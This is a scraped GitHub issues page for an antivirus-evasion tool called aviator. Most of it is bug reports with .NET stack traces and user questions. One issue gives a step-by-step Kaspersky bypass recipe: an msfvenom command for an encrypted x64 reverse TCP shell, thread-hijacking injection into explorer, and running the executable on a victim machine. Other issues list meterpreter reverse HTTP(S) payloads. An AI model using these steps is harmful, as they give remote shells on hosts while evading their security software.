ch0pin/aviator

Antivirus evasion project

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aviator's Issues

Detected By AV (Kaspersky, Avira)

System.Unhandled FormatException: Non Parseable chars found at the end of the string

This happens when I use exactly your shellcode example with this block of explanation:

_See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.FormatException: Additional non-parsable characters are at the end of the string.
at System.ParseNumbers.StringToInt(String s, Int32 radix, Int32 flags, Int32* currPos)
at System.Convert.ToByte(String value, Int32 fromBase)
at AvIator.Form1.hexStrToByteArray(String[] hexStr)
at AvIator.Form1.buton1_click(Object sender, EventArgs e)
at System.Windows.Forms.Control.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ButtonBase.WndProc(Message& m)
at System.Windows.Forms.Button.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

************** Loaded Assemblies **************
mscorlib
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9167.0 built by: NET481REL1LAST_B
CodeBase: file:///C:/Windows/Microsoft.NET/Framework64/v4.0.30319/mscorlib.dll

AvIator
Assembly Version: 1.0.0.0
Win32 Version: 1.0.0.0
CodeBase: file:///C:/Users/WDAGUtilityAccount/Desktop/aviator-master/AVIator-master/Compiled%20Binaries/AVIATOR_x64/AVIATOR_x64/AVIATOR_x64.exe

System.Windows.Forms
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9176.0 built by: NET481REL1LAST_B
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll

System
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9172.0 built by: NET481REL1LAST_C
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll

System.Drawing
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9032.0 built by: NET481REL1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll

System.Configuration
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9032.0 built by: NET481REL1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Configuration/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll

System.Xml
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9032.0 built by: NET481REL1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll

Accessibility
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9032.0 built by: NET481REL1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/Accessibility/v4.0_4.0.0.0__b03f5f7f11d50a3a/Accessibility.dll

System.Core
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9166.0 built by: NET481REL1LAST_B
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e089/System.Core.dll

************** JIT Debugging **************
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.

For example:

When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.

****_
OS: Windows 11
PS: Current version of your software! tested with windows defender only as an AV

Kaspersky AV bypass Test Case

Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)
Getting a shell in a windows 10 machine running fully updated kaspersky AV

Target Machine: Windows 10 x64
Create the payload using msfvenom

msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp

Use AVIator with the following settings

Target OS architecture: x64

Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)

Target procedure: explorer (leave the default)

Set the listener on the attacker machine

Run the generated exe on the victim machine

Error when trying to encrypt

I followed your instructions but when I am trying to encrypt the csharp shellcode from "msfvenom windows/meterpreter/reverse_https LHOST=X.X.X.X LPORT=XXXX -f csharp" I am getting an error.

Error Output:
System.FormatException: Could not find any recognizable digits. at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags, System.Int32& currPos) [0x00165] in :0
at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags) [0x00002] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at System.Convert.ToByte (System.String value, System.Int32 fromBase) [0x00037] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at WindowsFormsApp1.Form1.hexStrToByteArray (System.String[] hexStr) [0x00028] in <b86e1328ce6f483b80c96d3c16192de3>:0 at WindowsFormsApp1.Form1.buton1_click (System.Object sender, System.EventArgs e) [0x00075] in <b86e1328ce6f483b80c96d3c16192de3>:0 at System.Windows.Forms.Control.OnClick (System.EventArgs e) [0x0001c] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnClick (System.EventArgs e) [0x00024] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00081] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WmLButtonUp (System.Windows.Forms.Message& m) [0x0007e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WndProc (System.Windows.Forms.Message& m) [0x0016f] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.WndProc (System.Windows.Forms.Message& m) [0x0004e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.WndProc (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlWindowTarget.OnMessage (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlNativeWindow.WndProc (System.Windows.Forms.Message& m) [0x0000b] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.NativeWindow.WndProc (System.IntPtr hWnd, System.Windows.Forms.Msg msg, System.IntPtr wParam, System.IntPtr lParam) [0x0008e] in <0e1823914d7643eeaf1207febb083a4a>:0

Posting Test Cases

Please fell free to post your test cases regarding specific AV vendors.

msfvenom payload don't work

windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_http
windows/x64/meterpreter/reverse_https

How to generate new encryption key?

How to run c++ exe for evasion from antivirus

How to run c++ exe for evasion from antivirus?

This software is shit

no difference

A small question

How to run this tool?
Just like commands,dependents or something like this

K

Convert to .Net Framework 2.0

just run Window have install NET

No run Win7 system

if the system not have install net 2.0 ,3.0 or net 4.0

An idea

Hello,I have used it on my computer.And it works well.
However,I want to use this tool on Kali nethunter so l hope it has the command-line interface.
If it has command-line interface,computer and phone can all run this tool coveniently.

By the way,this tool is great.keep going 😊

About Interface

I noticed that this software is GUI.
Can it run in command-line interface?
If it can,how to do?

AESKey

How do I get a plaintext string converting into the shellcode format for the AES key field?

One

Two